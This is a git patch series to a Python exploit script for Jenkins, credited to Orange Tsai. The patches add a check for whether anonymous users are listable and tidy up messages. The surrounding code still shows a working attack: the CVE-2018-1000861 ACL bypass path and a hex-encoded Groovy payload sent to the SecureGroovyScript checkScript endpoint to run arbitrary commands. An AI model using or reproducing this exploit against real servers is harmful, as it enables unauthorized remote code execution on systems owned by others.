From 13e856787a2b1cee1d3a582f7c37ab7f37f4c348 Mon Sep 17 00:00:00 2001 From: Corben Leo Date: Fri, 10 May 2019 13:49:30 -0500 Subject: [PATCH 1/2] Add listable user check --- exp.py | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/exp.py b/exp.py index bd32e9b..32b3412 100644 --- a/exp.py +++ b/exp.py @@ -1,7 +1,7 @@ #!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) -# +# import sys import requests @@ -16,6 +16,7 @@ endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' + class mode(Enum): ACL_PATCHED = 0 NOT_JENKINS = 1 @@ -23,25 +24,30 @@ class mode(Enum): READ_BYPASS = 3 ENTRY_NOTFOUND = 999 + def usage(): print ''' Usage: python exp.py ''' + def _log(msg, fail=False): nb = '[*]' if fail: nb = '[-]' print '%s %s' % (nb, msg) + def _get(url, params=None): r = requests.get(url, verify=False, params=params) return r.status_code, r.content + def _add_bypass(url): return url + 'securityRealm/user/admin/' + def check(url): flag, accessible = mode.ACL_PATCHED, False @@ -49,9 +55,13 @@ def check(url): status, content = _get(url) if status == 200 and 'adjuncts' in content: flag, accessible = mode.READ_ENABLE, True - _log('ANONYMOUS_READ enable!') + _log('ANONYMOUS_READ enabled!') + status, asynch = _get(url+"asynchPeople") + if status == 200: + _log("Users are listable.") + elif status == 403: - _log('ANONYMOUS_READ disable!') + _log('ANONYMOUS_READ disabled!') # check ACL bypass, CVE-2018-1000861 status, content = _get(_add_bypass(url)) @@ -71,10 +81,12 @@ def check(url): return flag + def exploit(url, cmd): - payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex') + payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode( + 'hex') params = { - 'sandbox': True, + 'sandbox': True, 'value': payload } @@ -84,12 +96,13 @@ def exploit(url, cmd): elif status == 405: _log('It seems Jenkins has patched the RCE gadget :(') else: - _log('Exploit fail with HTTP status [%d]' % status, fail=True) + _log('Exploit failed with HTTP status [%d]' % status, fail=True) if 'stack trace' in content: for _ in content.splitlines(): if _.startswith('Caused:'): _log(_, fail=True) + if __name__ == '__main__': if len(sys.argv) != 3: usage() @@ -97,7 +110,6 @@ def exploit(url, cmd): url = sys.argv[1].rstrip('/') + '/' cmd = sys.argv[2] - flag = check(url) if flag is mode.ACL_PATCHED: _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True) From e24e27d07277acedaea7de880f8b669816ed00d6 Mon Sep 17 00:00:00 2001 From: Corben Leo Date: Fri, 10 May 2019 13:50:23 -0500 Subject: [PATCH 2/2] Add asynchPeople endpoint check --- exp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/exp.py b/exp.py index 32b3412..66927cd 100644 --- a/exp.py +++ b/exp.py @@ -121,4 +121,4 @@ def exploit(url, cmd): _log('Bypass with CVE-2018-1000861!') exploit(_add_bypass(url), cmd) else: - _log('The `checkScript` is not found, please try other entries(see refs)', fail=True) + _log('The `checkScript` is not found, please try other entries (see refs / listable users)', fail=True)